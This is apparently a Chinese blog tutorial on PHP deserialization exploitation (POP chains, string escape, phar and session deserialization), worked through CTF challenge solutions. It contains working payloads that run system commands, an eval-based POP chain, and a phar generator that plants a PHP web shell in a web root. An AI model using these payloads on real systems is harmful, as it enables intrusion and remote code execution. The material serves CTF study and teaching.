PHP反序列化&SESSION反序列化
PHP反序列化基本概念
php序列化就是将一个对象,进行变换成一个字符串,这个字符串就是一个个键值对,方便传输数据,那反序列化,就是把它翻过来,从一个个键值对再转换成一个对象。
示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php class test{ public $name='ooo'; public $age=18; } $t=new test(); echo serialize($t); ?> 输出: O:4:"test":2:{s:4:"name";s:3:"ooo";s:3:"age";i:18;}
解释: O:4:"test":2;:表示这是一个对象(Object),类名是test,类名长度为4,包含2个属性。 s:4:"name";s:3:"ooo";:第一个属性是字符串类型(String),属性名为name,长度为4,对应的值为字符串ooo,长度为3。 s:3:"age";i:18;:第二个属性也是字符串类型(String),属性名为age,长度为3,对应的值为整数(Integer)18。 综上所述,这段代码表示一个类名为test的对象,它有两个属性:name(值为"ooo")和age(值为18)。
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| __construct(),类的构造函数,在创造一个对象时候,首先会去执行的一个方法。但是在序列化和反序列化过程是不会触发的。
__destruct(),类的析构函数,在到某个对象的所有引用都被删除或者当对象被显式销毁时执行的魔术方法。
__call(),在对象中调用一个不可访问方法时,__call() 会被调用。也就是说你调用了一个对象中不存在的方法,就会触发。
__callStatic(),在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。
__get(),读取不可访问属性的值时,__get() 会被调用。__get魔术方法需要一个参数,这个参数代表着访问不存在的属性值。
__set(),给不可访问属性赋值时,__set() 会被调用。
__isset(),当对不可访问属性调用isset()或empty()时调用,该魔术方法使用了isset()或者empty()只要属性是private或者不存在的都会触发。
__unset(),当对不可访问属性调用unset()时被调用。如果一个类定义了魔术方法 __unset() ,那么我们就可以使用 unset() 函数来销毁类的私有的属性,或在销毁一个不存在的属性时得到通知。
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当使用 clone 关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法 __clone() ,如果该魔术方法存在的话。
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
|
小试牛刀—–[NewStarCTF 2023 公开赛道]Unserialize?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php highlight_file(__FILE__);
class evil { private $cmd;
public function __destruct() { if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){ @system($this->cmd); } } }
@unserialize($_POST['unser']); ?>
payload: POST:unser=O:4:"evil":1:{s:3:"cmd";s:35:"sort /th1s_1s_fffflllll4444aaaggggg";}
|
PHP的POP链
按我自己的理解,PHP的pop链就是通过改变对象的属性,改变对象的元素的属性,去触发相应的魔术方法,来进行一个链式反应,以此来达到我们的目的。
示例(触发tostring方法,进行链式反应)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php class a{ public $x; public $y; public function __destruct(){ echo $this->x; } } class b{ public $o; public function __tostring(){ echo "111"; return "flag{this_is_flag}"; } }
$a1 = new a(); $b1 = new b(); $a1->x=new b(); $s=serialize($a1); ?>
D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.exe -c D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini D:\PhpstormProjects\untitled1\payload.php
111flag{this_is_flag} Process finished with exit code 0
|
小试牛刀—–[MRCTF2020]Ezpop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| <?php
class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } }
class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; }
public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } }
class Test{ public $p; public function __construct(){ $this->p = array(); }
public function __get($key){ $function = $this->p; return $function(); } }
if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
paylod: $s=new Show(); $s->source=new Show(); $s->source->str=new Test(); $s->source->str->p=new Modifier(); echo urlencode(serialize($s));
|
[2022DASCTF X SU 三月春季挑战赛]ezpop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| <?php
class crow { public $v1; public $v2;
function eval() { echo new $this->v1($this->v2); }
public function __invoke() { $this->v1->world(); } }
class fin { public $f1;
public function __destruct() { echo $this->f1 . '114514'; }
public function run() { ($this->f1)(); }
public function __call($a, $b) { echo $this->f1->get_flag(); }
}
class what { public $a;
public function __toString() { $this->a->run(); return 'hello'; } } class mix { public $m1;
public function run() { ($this->m1)(); }
public function get_flag() { eval('#' . $this->m1); }
} $a=new fin(); $a->f1=new what(); $a->f1->a=new mix(); $a->f1->a->m1=new crow(); $a->f1->a->m1->v1=new fin(); $a->f1->a->m1->v1->f1=new mix(); $a->f1->a->m1->v1->f1->m1='?><?php system("cat *")?>'; echo serialize($a);
|
PHP的字符串逃逸
字符串逃逸就是通过改变字符串的长度来改变键值对,让键值对改变成我们想要的样子,这个就跟php的特性有关了
PHP的特性
1、序列化后,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),所以}在后面的是没有任何影响的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php class s{ public $a; public $b; function __construct($a,$b){ $this->a = $a; $this->b = $b; } } $a =new s("a","b"); echo serialize($a); ?> D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.exe -c D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini D:\PhpstormProjects\untitled1\payload.php O:1:"s":2:{s:1:"a";s:1:"a";s:1:"b";s:1:"b";} Process finished with exit code 0 此时,如果变成O:1:"s":2:{s:1:"a";s:1:"a";s:1:"b";s:1:"b";}54656156135 var_dump(unserialize('O:1:"s":2:{s:1:"a";s:1:"a";s:1:"b";s:1:"b";}54656156135')); { ["a"]=> string(1) "a" ["b"]=> string(1) "b" } 丝毫没有影响正常的反序列化
|
2、当序列化的长度不对应的时候会出现报错
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php class s{ public $a; public $b; function __construct($a,$b){ $this->a = $a; $this->b = $b; } } $a =new s("a","b"); echo serialize($a); var_dump(unserialize('O:1:"s":2:{s:1:"a";s:2:"a";s:1:"b";s:1:"b";}54656156135')); ?>
D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.exe -c D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini D:\PhpstormProjects\untitled1\payload.php O:1:"s":2:{s:1:"a";s:1:"a";s:1:"b";s:1:"b";}bool(false)
Process finished with exit code 0 可以看到,返回false,就是无法正常反序列化
|
3、可以反序列化类中不存在的元素
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php class s{ public $a; public $b; function __construct($a,$b){ $this->a = $a; $this->b = $b; } } $a =new s("a","b"); echo serialize($a); var_dump(unserialize('O:1:"s":2:{s:1:"a";s:1:"a";s:1:"c";s:1:"c";}')); ?>
D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.exe -c D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini D:\PhpstormProjects\untitled1\payload.php O:1:"s":2:{s:1:"a";s:1:"a";s:1:"b";s:1:"b";}object(s) ["a"]=> string(1) "a" ["b"]=> NULL ["c"]=> string(1) "c" } 看到类里面并没有c,但是能正常反序列化
|
PHP字符串逃逸
字符串逃逸一般有两种情况,一种是字符串增多,一种是字符串减少
字符串逃逸的本质也是差不多就是闭合,有一种注入的感觉
增多的情况
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| function waf($str){ return str_replace("bad","good",$str); } class s{ public $a; public $b='666'; public function __construct($a){ $this->a = $a; } public function __destruct(){ echo $this->b; } } $a =new s("bad"); echo serialize($a);
?>
明显每替换一个,字符串长度就会+1,那我们现在不像让b为666,想让它是888,但是b是不可控的,怎么办,那就是字符串逃逸了,我们看一下逃逸字符串的长度";s:1:"b";s:3:"888";},21个,长度为21. 那就是21个bad就能让";s:1:"b";s:3:"666";}逃逸,即 <?php function waf($str){ return str_replace("bad","good",$str); } class s{ public $a; public $b='666'; public function __construct($a){ $this->a = $a; } public function __destruct(){ echo $this->b; } } $a =new s('badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:1:"b";s:3:"888";}');
echo (waf(serialize($a))); var_dump(unserialize('O:1:"s":2:{s:1:"a";s:84:"goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood";s:1:"b";s:3:"888";}";s:1:"b";s:3:"666";}'));
?> 运行结果: D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.exe -c D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini D:\PhpstormProjects\untitled1\payload.php O:1:"s":2:{s:1:"a";s:84:"goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood";s:1:"b";s:3:"888";}";s:1:"b";s:3:"666";}object(s)#2 (2) { ["a"]=> string(84) "goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood" ["b"]=> string(3) "888" } 888666 可以看到,成功替换。
|
减少的情况
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <?php function waf($str){ return str_replace("good","hao",$str); } class s{ public $a; public $b; public function __construct($a,$b){ $this->a = $a; $this->b = $b; } public function __destruct(){ echo $this->b; } }
$a =new s('goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood','";s:1:"b";s:3:"888";}');
var_dump(unserialize('O:1:"s":2:{s:1:"a";s:64:"haohaohaohaohaohaohaohaohaohaohaohaohaohaohaohao";s:1:"b";s:21:"";s:1:"b";s:3:"888";}";}";s:1:"b";s:3:"888";}'));
?> 运行结果: D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.exe -c D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini D:\PhpstormProjects\untitled1\payload.php object(s) ["a"]=> string(64) "haohaohaohaohaohaohaohaohaohaohaohaohaohaohaohao";s:1:"b";s:21:"" ["b"]=> string(3) "888" } 888";s:1:"b";s:3:"888";} Process finished with exit code 0 成功替换。
|
示例
小试牛刀—–[NewStarCTF 2023 公开赛道]逃(增)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php highlight_file(__FILE__);s function waf($str){ return str_replace("bad","good",$str); }
class GetFlag { public $key; public $cmd = "whoami"; public function __construct($key) { $this->key = $key; } public function __destruct() { system($this->cmd); } }
unserialize(waf(serialize(new GetFlag($_GET['key']))));
可以看到,每将一个bad替换成一个good,字符串长度+1,key是可控的 O:7:"GetFlag":2:{s:3:"key";s:3:"bad";s:3:"cmd";s:6:"whoami";}这是传入一个bad的序列化的内容,现在我们不想执行whoami这个命令,就要把;s:3:"cmd";s:6:"whoami";}给顶出去。 目的字符串:O:7:"GetFlag":2:{s:3:"key";s:3:"bad";s:3:"cmd";s:2:"ls";}";s:3:"cmd";s:6:"whoami";} ";s:3:"cmd";s:2:"ls";}有22个字符,然后把22个bad替换掉后,就是增加了22个字符,那么ls就可以执行 当前目录下没有,直接查根目录,原理一样 ?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}
|
phar反序列化
什么是phar文件
phar文件就是类似于java的jar的那种类型的压缩文件,它可以将多个php文件的代码压缩成一个phar,无需解压,PHP就可以进行访问并执行内部语句。
phar文件结构
1 2 3 4 5
| 1. stub phar文件的标志,也可以理解为phar的文件头 这个Stub其实就是一个简单的PHP文件,必须是 xxx<?php xxx; __HALT_COMPILER();?> 这种格式,必须有__HALT_COMPILER(),没有这个,PHP就无法识别出它是Phar文件。其他的无所谓。 2. manifest phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这个meta-data就是用户自己定义的元数据,在这里用户自定义的元数据就是以序列化的形式存在的,这是漏洞利用最核心的地方。如下图。
|
1 2 3 4
| 3. content 被压缩文件的内容 4. signature (可空) 签名,放在末尾。
|
phar反序列化
Phar之所以能反序列化,是因为Phar文件会以序列化的形式存储用户自定义的meta-data
,PHP使用phar_parse_metadata
在解析meta数据时,会调用php_var_unserialize
进行反序列化操作。
利用条件
1 2 3
| 1、phar文件能够上传至服务器 2、要有可控的参数,像元数据那种,并且、/、phar等特殊字符没有被过滤 3、php.ini中的phar.readonly选项,需要为Off(默认是on)。
|
生成phar文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php class Flag{ public $cmd="qwq"; function __destruct() { echo `cmd`; } }
$a = new Flag(); $phar = new Phar('A.phar');
$phar->startBuffering(); $phar->addFromString('test.txt','test'); $phar->setStub('<?php __HALT_COMPILER(); ? >'); $phar->setMetadata($a);
$phar->stopBuffering();
|
不过如果php.ini的phar.readonly处于on状态的话,是不允许生成phar文件的,cmd执行php –ini,就可以找到这个php.ini的文件路径,将php.ini里面的phar.readonly
选项设置为Off
。并把分号去掉。
示例
小试牛刀—–[NewStarCTF 2023 公开赛道]PharOne
查看源码,得到提示,/class.php
访问看到
1 2 3 4 5 6 7 8 9 10
| <?php highlight_file(__FILE__); class Flag{ public $cmd; public function __destruct() { @exec($this->cmd); } } @unlink($_POST['file']);
|
那我们就联想到了,上传phar文件,phar协议输出,进行反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php class Flag{ public $cmd; public function __construct() { $this->cmd = "echo '<?=eval(\$_GET[1]);?>'>/var/www/html/1.php"; }
}
$a = new Flag(); $phar = new Phar('A.phar');
$phar->startBuffering(); $phar->addFromString('test.txt','test'); $phar->setStub('<?php __HALT_COMPILER(); ? >'); $phar->setMetadata($a);
$phar->stopBuffering(); ?>
|
对__HALT_COMPILER()有过滤,所以通过gzip命令绕过,因为只能上传图片,所以修改后缀为.png
上传aa.png
在class.php下phar读取,进行反序列化
访问/1.php,GET传参执行命令
SESSION的概念
Session
一般称为“会话控制“,简单来说就是是一种客户与网站/服务器更为安全的对话方式。一旦开启了 session
会话,便可以在网站的任何页面使用或保持这个会话,从而让访问者与网站之间建立了一种“对话”机制。因为HTTP协议是无状态的,那如何辨别“你是你”呢,那就用到了session,通过cookie中的session来进行用户追踪。
SESSION的工作原理
当我们开启一个session会话时,首先php会先查找session_id,如果在请求的cookie中,服务器没有在GET或者POST请求方式中找到session_id,那么这个时候php就会调用php_session_create_id函数来创建一个新的会话,在http-response中通过set-cookie头部发送给客户端,session在客户端保存。
session_start()函数
上面说了session的创建,那么下面我们就要说一下session的创建过程,我们先来看一下session_statrt()这个函数,这个函数的作用是开启会话,初始化session数据
1
| Seesion_start()函数会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的
|
SESSION的存储机制
写一个测试代码:
1 2 3 4 5 6
| <?php highlight_file(__FILE__); session_start(); echo "session_id(): ".session_id()."<br>"; echo "COOKIE: ".$_COOKIE["PHPSESSID"];
|
可以看到生成了一个session
我们查看一下文件夹,一般都在是存储在tmp/里面
1 2 3 4 5 6
| /var/lib/php5/sess_PHPSESSID /var/lib/php7/sess_PHPSESSID /var/lib/php/sess_PHPSESSID /tmp/sess_PHPSESSID /tmp/sessions/sess_PHPSESSED liunx常见保存位置
|
最后一个就是我们刚创建的session了
我们给session赋值看看
1 2 3 4 5 6 7 8
| <?php highlight_file(__FILE__); session_start(); $_SESSION['test1']='hello'; $_SESSION['test2']='world'; echo '\n'; echo "session_id(): " . session_id() . "<br>"; echo "COOKIE: " . $_COOKIE["PHPSESSID"];
|
可以看到数据是以序列化的状态存储在文件中的
那就是HTTP请求一个页面后,如果用到开启session,会去读COOKIE中的PHPSESSID是否有,如果没有,则会新生成一个session_id,先存入COOKIE中的PHPSESSID中,再生成一个sess_前缀文件。当有写入$_SESSION的时候,就会往sess_文件里序列化写入数据。当读取到session变量的时候,先会读取COOKIE中的PHPSESSID,获得session_id,然后再去找这个sess_session_id文件,来获取对应的数据。由于默认的PHPSESSID是临时的会话,在浏览器关闭后就会消失,所以,当我们打开浏览器重新访问的时候,就会新生成session_id和sess_session_id这个文件。
SESSION模块的参数含义
Directive |
含义 |
session.save_handler |
session保存形式。默认为files |
session.save_path |
session保存路径。 |
session.serialize_handler |
session序列化存储所用处理器。默认为php。 |
session.upload_progress.cleanup |
一旦读取了所有POST数据,立即清除进度信息。默认开启 |
session.upload_progress.enabled |
将上传文件的进度信息存在session中。默认开启。 |
主要有三种处理器
当 session.serialize_handler=php 时,session文件内容为: name|s:7:"mochazz";
当 session.serialize_handler=php_serialize 时,session文件为: a:1:{s:4:"name";s:7:"mochazz";}
当 session.serialize_handler=php_binary 时,session文件内容为: 二进制字符names:7:"mochazz";
可以用ini_set来改变处理器
1 2 3 4 5 6 7
| <?php ini_set('session.serialize_handler','php_binary'); session_start(); $_SESSION['name'] = $_GET['name']; echo $_SESSION['name']; ?>
|
当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值。
SESSION的反序列化
这也就是SESSION反序列化的切入点了,我们可以直接通过写入SESSION文件,然后请求页面,让php自行将我们的序列化字符串进行反序列化,但是因为我们传入的是键值对,那么session
序列化存储所用的处理器肯定也是将这个键值对写了进去,怎么才能让它正好反序列化到我们传入的内容。
这里就要用到我们上面介绍到的不同序列化处理器的特性,我们可以在我们传入的序列化内容前面加一个|,在php_serialize处理后会返回一个序列化后的数组,但是在使用php处理器会以竖线|作为一个分隔符,前面的为键名,后面的为键值,然后将键值进行反序列化操作,这样就能够实现我们session反序列化操作。
示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php highlight_file(__FILE__); ini_set('session.serialize_handler', 'php');
class Test{ public $code; function __destruct(){ eval($this->code); } }
session_start(); if (isset($_GET['test'])) { $_SESSION['test'] = $_GET['test']; } ?> ?test=|O:4:"Test":1:{s:4:"code";s:10:"phpinfo();";}
|
小试牛刀—-[安洵杯 2019]easy_serialize_php(session反序列化+减逃逸)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php
$function = @$_GET['f'];
function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); }
if($_SESSION){ unset($_SESSION); }
$_SESSION["user"] = 'guest'; $_SESSION['function'] = $function;
extract($_POST);
if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; }
if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); }
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
|
传入phpinfo看一下
可以看到,反序列化处理器是php,文件提示,d0g3_f1ag.php
那么看代码可以知道,我们的目的是执行file_get_contents(base64_decode($userinfo['img']))
这个函数,并且一看就知道还是字符串减少的字符串逃逸
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| 看代码,需要满足f=show_image,让字符串逃逸 原始字符串为 $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; $_SESSION['img'] = base64_encode('guest_img.png'); 序列化一下看看 <?php $_SESSION["user"] = 'guest'; $_SESSION['function'] = 'show_image'; $_SESSION['img'] = base64_encode('guest_img.png'); echo serialize($_SESSION); a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";} 现在要把img给弄成ZDBnM19mMWFnLnBocA==(d0g3_flag.php的base64编码) 从user下手,把guest";s:8:"function";s:10:"show_image给吞掉,然后自己再造个键值对 即 <?php $_SESSION["user"] = 'flagflagflagflagflagflag'; $_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:20:"ZDBnM19mMWFnLnBocA==";}'; $_SESSION['dd'] = base64_encode('d0g3_f1ag.php'); echo serialize($_SESSION); a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:79:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:20:"ZDBnM19mMWFnLnBocA==";}";s:2:"dd";s:20:"ZDBnM19mMWFnLnBocA==";}
|
参考文章:
带你走进PHP session反序列化漏洞
session反序列化
PHP反序列化入门之phar
PHP Phar反序列化学习
Phar反序列化总结
PHP反序列化 — 字符逃逸
通过CTF题目学习反序列化字符串逃逸
干货 | 能看懂的PHP反序列化字符逃逸漏洞
PHP反序列化入门之session反序列化